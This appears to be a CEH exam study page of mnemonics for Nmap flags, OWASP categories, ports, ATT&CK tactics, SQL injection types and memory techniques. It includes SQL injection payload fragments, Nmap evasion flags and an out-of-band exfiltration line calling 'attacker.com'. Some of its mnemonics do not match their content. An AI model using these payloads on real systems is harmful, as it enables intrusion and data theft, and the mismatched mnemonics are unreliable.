CEH Mnemonics & Memorization Hooks

1. EC-Council
2. ·You are here

Updated 11 Sep 2026 . 12 min read . Hafidz . v2025-10-01 . CEH

CEH Mnemonics & Memorization Hooks

Purpose: One-page memory hooks for last-mile CEH v13 review. Every mnemonic is paired with a story and a single-line retrieval cue so it survives an exam-day brain freeze. Use with: 99-cheatsheet.md (canonical facts) + domains/01-flashcards.md (active recall).

---

1. Nmap Flags - “Sneaky Teacher Uses Null/Fin/Xmas At Idle Versions, Oh All, Please Forge Decoys, go”

Story: A sneaky pentester (S) tries a SYN half-open → falls back to full TCP connect → sweeps UDP → abuses the RFC 793 loophole with NULL/FIN/XMAS → maps the firewall with ACK → hides behind an Idle zombie → reads Version banners → finger-prints the OS → runs Aggressive everything → the host’s ICMP is blocked so Pn skips discovery → Fragments the probe → hides in a crowd of Decoys → spoofs source via -g.

Flag	Hook
-sS	Sneak = SYN half-open, default root scan
-sT	Three-way full connect, no raw sockets needed
-sU	UDP scan, slow; open|filtered needs -sV
-sN	Null = no flags, Unix-only loophole
-sF	Fin = only FIN flag, same loophole
-sX	Xmas = FIN+PSH+URG, packet lit like a tree
-sA	Ack = maps stateful firewall, no port state
-sI	Idle = third-party zombie IP-ID side-channel
-sV	Version probe on banner grab
-O	OS fingerprint, TCP/IP stack quirks
-A	Aggressive = -sV -O -sC
-Pn	Pretend host is up = skip discovery
-f	Fragment packets, IDS evasion
-D	Decoys, hide among spoofed sources
-g	Getaway car = spoof source port (e.g. 53)

---

2. OWASP Top 10 (2021 + 2025)

2021 acrostic - “Broken Crypto Injects Insecure Software Into Idle Logs, SSRF”:** B-Broken Access Control → C-Cryptographic Failures → I-Injection → I-Insecure Design → S-Security Misconfig → S-Vulnerable Components → I-Auth Failures → I-Integrity Failures → L-Logging Failures → S-SSRF.

2025 rename map (from 09-owasp-top10-2025-addendum.md):

2021	2025	Hook
A01 + A10 SSRF	A01 Broken Access Control	SSRF folded in - server-side authZ
A05 Misconfig	A02 Security Misconfig	jumps to #2
A06 Components	A03 Software Supply Chain Failures	SolarWinds, xz-utils
A02 Crypto	A04 Cryptographic Failures	slides to #4
A03 Injection	A05 Injection	slides to #5
A04 Insecure Design	A06 Insecure Design	slides to #6
A07 AuthN	A07 Authentication Failures	drop “Identification”
A08 Integrity	A08 Software/Data Integrity Failures	same
A09 Logging	A09 Logging & Alerting Failures	alerting now mandatory
-	A10 Mishandling of Exceptional Conditions	NEW - fail-open error paths

LLM addendum: OWASP Top 10 2025 ≠ LLM Top 10. If the stem says “LLM/GenAI”, switch to LLM01 Prompt Injection and LLM06 Excessive Agency.

---

3. Default Ports - “Http/Https on Ftp/Ssh, Telnet Smells, Dns Ldap, Smtp Pop Imap Rule, Smb, Snmp, Mysql Postgres, Rdp Kafka”

Port	Service	Hook
21 / 20	FTP / FTP-data	File Transfer Plaintext - always anonymous guess
22	SSH	Secure Shell, key auth default
23	Telnet	Telnet, plaintext, never use
25	SMTP	Sending mail, open relay bad
53	DNS	Domain Name, UDP + TCP
80	HTTP	HyperText, unencrypted
110	POP3	Post Office, download mail
143	IMAP	Imap, keep mail on server
161/162	SNMP	Simple Network Management - community strings
389 / 636	LDAP / LDAPS	Lightweight directory, 636 = TLS
443	HTTPS	HTTPS, TLS-wrapped HTTP
445	SMB	Server Message Block, Windows shares
1433	MSSQL	SQL Server default
3306	MySQL	My SQL, 3-3-0-6
3389	RDP	Remote Desktop Protocol
5432	PostgreSQL	Postgres, 5-4-3-2
5900	VNC	Virtual Network Computing
9092	Kafka	Kafka broker

---

4. MITRE ATT&CK 14 Tactics - “Rebecca’s Really Inside, Executing Persistent Disabled Credentials, Discovering Lateral Collection, Commanding Exfiltration, Impacting”

Story: A heist crew (Rebecca) Reconnoitres the bank (R), builds Resources (R), bribes the Initial Access guard (I), Executes the inside man (E), rigs Persistence (P), Privilege-Escalates to vault (P,D), Defends against alarms (D), Cracks the Credential safe (C), Discovers the vault layout (D), Lateral-Moves through vents (L), Collects diamonds (C), sets up Command-and-Control via burner phone (C), Exfiltrates by tunnel (E), finally Impacts by blowing the door (I).

The acronym RRIEPPDCDLC C EI is brutal - use the heist movie mental image instead.

---

5. Lockheed Kill Chain (7 Phases) - “Rex Weaponised Death, Exploited, Installed Command-and-Control, then Acted”

Story: A military op - scouts Recon → welds bomb in Weaponisation → airdrops it in Delivery → drone strikes in Exploitation → special-forces Install the beacon → HQ opens C2 channel → operators Act on Objectives. Most expensive phase to recover from: Actions on Objectives (data already exfiltrated).

Mnemonic: “Rex Watches Dangerous Explosives, Installs Cameras, Acts.”

---

6. CEH 5-Phase Methodology - “Really Smart Guys Maintain Cover”

Story: A spy Reconnoitres (R) the embassy → Scans (S) for guards and cameras → Gains access (G) by forging an ID → Maintains (M) access with a planted key → Covers tracks (C) by scrubbing the badge log. Exam rule: if a stem says “phase 3”, it means 5-phase CEH, not Kill Chain.

Phases: Recon → Scanning/Enumeration → Gain Access → Maintain → Cover Tracks.

---

7. Crypto Differences - Symmetric vs Asymmetric vs Hash vs MAC

Type	Keys	Output	Hook
Symmetric	1 shared key	ciphertext	Same key locks & unlocks - fast, AES
Asymmetric	key pair (pub + priv)	ciphertext / signature	Two keys, double the work - RSA, ECC, DH
Hash	no key	fixed digest	One-way fingerprint - SHA-256, MD5 (broken)
MAC	secret key + hash	tag	Hash with a key - HMAC, signs integrity

Exam gotcha: a “hash collision” → birthday attack. A “MAC with no key” → not a MAC, just a hash. “AES with shared key” → symmetric. “Sign + verify” → asymmetric.

---

8. CIA + AAA + Parkerian Hexad

CIA: Confidentiality, Integrity, Availability - the security trinity. AAA: Authentication (who are you?), Authorization (what can you do?), Accounting (what did you do?). Parkerian Hexad (Donn Parker, 1998) - adds 3 to CIA: Possession, Authenticity, Utility. Mnemonic: “CIA + PAU = Parker’s extra three.”

Hook: CIA is the goal, AAA is the mechanism, Parkerian is CIA plus three real-world concerns (you can have a confidential ciphertext that is also worthless = utility lost).

---

9. OSI 7 Layers - “Please Do Not Throw Sausage Pizza Away”

Top-down (7→1): Application, Presentation, Session, Transport, Network, Data Link, Physical. Bottom-up (1→7): Physical, Data Link, Network, Transport, Session, Presentation, Application.

Story version - “All People Seem To Need Data Processing”: A waitress (App) presents the menu (Pres), takes your order session (Sess), transports it to the kitchen (Trans), the network of cooks routes it (Net), data-link binds the receipt (Data), the physical griddle cooks it (Phys).

Layer anchors: ARP=L2, IP=L3, TCP/UDP=L4, TLS=L5/6 (Presentation), HTTP/DNS=L7.

---

10. TCP 3-Way Handshake - “Syn, Syn-Ack, Ack - three letters, three steps”

Story: Alice SYNs (“can we talk?”) → Bob SYN-ACKs (“yes, can you?”) → Alice ACKs (“I can”). The flags form SSA. After the third packet, both sides have an established connection. SYN flood DoS leaves Bob with thousands of half-open SYNs.

---

11. SQL Injection Types - “In-band and In-ferential share the channel; Out-of-band dials a different number”

Class	Subtype	Hook
In-band	Error-based	DB errors leak schema (' → ODBC dump)
In-band	UNION-based	Append UNION SELECT to original query
Inferential (blind)	Boolean	AND 1=1 vs AND 1=2, ask true/false
Inferential (blind)	Time	WAITFOR DELAY '0:0:5', ask with a stopwatch
Out-of-band	DNS / HTTP	xp_dirtree '//attacker.com/' - exfil via resolver

Tool: sqlmap is the exam default for automation.

---

12. DoS Attack Categories - “Volumetric Protocol Application - eat more, break state, break logic”

Category	Layer	Hook
Volumetric	L3/L4	Saturate bandwidth - UDP flood, DNS amplification, Memcached DRDoS
Protocol	L4	Exhaust state - SYN flood, Ping of Death, Smurf, Fraggle
Application	L7	Exhaust logic - HTTP flood, Slowloris, Low-and-Slow

DoS always attacks the A in CIA (Availability). The mitigation ladder: rate-limit → BCP38 → Anycast → WAF → CAPTCHA.

---

13. Cloud Shared Responsibility - “It’s Pete’s Salary”

Layer	You own	Provider owns	Hook
IaaS (EC2)	OS, runtime, app, data, IAM	Hardware, hypervisor, network	I = you patch the OS
PaaS (RDS, Beanstalk)	App, data, IAM	OS, runtime, middleware	P = provider patches OS
SaaS (Gmail, Office 365)	Data, users, access	Almost everything	S = just your data and identity

Exam rule: as you move up the stack, the provider does more - your responsibility shrinks. Breaches trace to misconfig when IaaS customers forget the OS, when SaaS customers forget the data.

---

14. Memory Palace / Method of Loci

The method of loci is a 2,500-year-old memory trick attributed to the Greek poet Simonides of Ceos (~477 BCE): when a roof collapse killed banquet guests, he identified each body by mentally walking past where they had been sitting. Place = index, image = payload. The Roman orator Cicero codified it; Matteo Ricci built a 16th-century Jesuit memory palace; Frances Yates chronicled the lineage in The Art of Memory (1966).

Build a CEH palace. Choose one fixed route you can visualise in under 30 seconds - your childhood home works well. Walk it in the same order every time. For each OWASP A01-A10, park one vivid image at one locus:

• Front door (A01 Broken Access Control) - a broken key hanging in the lock; the door swings wide open. Anyone walks in. (IDOR + SSRF.)
• Hallway coat rack (A02 Security Misconfig) - a coat rack with all the default keys still taped to it (admin/admin, root/root).
• Kitchen (A03 Software Supply Chain) - the delivery driver hands you a poisoned pizza (xz-utils backdoor).
• Living-room safe (A04 Crypto) - a safe with a paper-thin glass window, password on a sticky note.
• Upstairs bath (A05 Injection) - water pipes labelled eval() leak raw sewage into the sink.
• Stair landing (A06 Insecure Design) - no handrail on the stairs, no rate-limit on the front-door buzzer.
• Bedroom (A07 Auth Failures) - single front-door key, no second lock, no FIDO token.
• Attic (A08 Integrity) - unsigned boxes stacked to the ceiling, no SHA manifest.
• Garage (A09 Logging & Alerting) - dashcam records everything, but no one watches the footage.
• Back garden (A10 Exceptional Conditions) - a fence with a hole big enough for a child to walk through (fail-open error path).

Walk it forward to recall the categories, walk it backward to sequence them. After two passes you will retrieve A01-A10 in order without conscious effort. The same trick scales to ports (kitchen = 21/22, bath = 443, garage = 3389) and to MITRE tactics.

---

15. Spaced Repetition Schedule (3-Week Sprint)

Ebbinghaus (1885) showed recall collapses exponentially without review - the forgetting curve. Roediger & Karpicke (2006, Psychological Science) proved retrieval practice (active recall, not re-reading) is the dominant driver of long-term retention. The schedule below is calibrated for a 3-week CEH sprint: introduce → encode → consolidate → survive to exam day.

Week	Days	Action
1 - Introduce	Day 1	Read the section, write 5 self-quizzes, review #1 same evening
	Day 2	Review #2 of Week-1 material (24h gap)
	Day 3	Review #3 (48h gap)
	Day 4-7	Rest; only re-touch items still shaky from Day 1-3
2 - Consolidate	Day 8	Review pass 1 - full deck (3 days since Day 1)
	Day 11	Review pass 2 - full deck (3 days since Day 8)
	Day 14	Review pass 3 - full deck (3 days since Day 11)
3 - Survive	Day 15	Final consolidation review of weakest items
	Day 18	Pre-exam review - full deck, focus on Nmap + OWASP + Crypto
	Day 21	Exam day - light skim of 99-cheatsheet.md only, no new content

The 3-3-3 cadence (review at 1d, 3d, 7d then 3d gaps) is the Ebbinghaus-inspired back-of-the-envelope that survives even when Anki isn’t used. For each session: recall first, then check, then re-test the misses. Re-reading without recall is busywork; retrieval is the engine.

---

Sources

1. Ebbinghaus, H. (1885). Über das Gedächtnis: Untersuchungen zur experimentellen Psychologie. Leipzig: Duncker & Humblot. Origin of the forgetting curve; first empirical study of spaced retrieval.
2. Roediger, H. L., & Karpicke, J. D. (2006). “Test-Enhanced Learning: Taking Memory Tests Improves Long-Term Retention.” Psychological Science, 17(3), 249-255. Retrieval practice dominates re-reading for long-term retention.
3. Yates, F. A. (1966). The Art of Memory. Chicago: University of Chicago Press. Canonical history of the method of loci, from Simonides of Ceos through Cicero and the Renaissance.
4. Wikipedia - “Spaced repetition.” en.wikipedia.org/wiki/Spaced_repetition (verified 2026-09-11) - summary of Ebbinghaus, Bjork, Pashler, Landauer research line.
5. Wikipedia - “Method of loci.” en.wikipedia.org/wiki/Method_of_loci (verified 2026-09-11) - Simonides origin, Matteo Ricci Jesuit memory palace (Spence 1984), Yates (1966).
6. OWASP Foundation (2025). OWASP Top 10:2025 - Introduction. https://owasp.org/Top10/2025/ - source for rename map and ordering deltas.
7. EC-Council. CEH v13 Exam Blueprint & Ethical Hacking Methodology. - source for the 5-phase RSGMC canon and Lockhead Kill Chain ordering.

Linked from

• CEH (Certified Ethical Hacker) - Complete Research & Study Kit